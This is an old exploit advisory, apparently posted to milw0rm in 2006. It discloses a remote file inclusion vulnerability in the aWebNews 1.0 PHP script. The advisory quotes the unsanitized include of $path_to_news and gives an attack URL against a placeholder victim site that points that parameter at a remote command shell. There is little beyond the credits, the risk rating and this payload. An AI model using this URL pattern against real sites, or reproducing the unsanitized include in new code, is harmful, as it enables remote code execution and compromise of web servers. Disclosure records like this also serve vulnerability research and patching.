28 lines
No EOL
487 B
Text
28 lines
No EOL
487 B
Text
Credit : SpC-x
|
|
|
|
mail : SpC-x@bsdmail.org
|
|
|
|
# SaVSaK.CoM | SpC-x - The-BeKiR |
|
|
|
|
# aWebNews 1.0 version - Remote File Include Vulnerabilities
|
|
|
|
# Risk : High
|
|
|
|
# Class: Remote
|
|
|
|
# Script : aWebNews
|
|
|
|
# Credits : SpC-x
|
|
|
|
# Thanks : The-BeKiR - Ejder - FasTBoY - ERNE - RMx
|
|
|
|
# Code :
|
|
|
|
# include "" . $path_to_news . "config.php";
|
|
# $db = mysql_connect($db_host,$db_user,$db_pass);
|
|
|
|
# Vulnerable :
|
|
|
|
# http://www.victim.com/aWebNews/visview.php?path_to_news=Command-Shell
|
|
|
|
# milw0rm.com [2006-06-13] |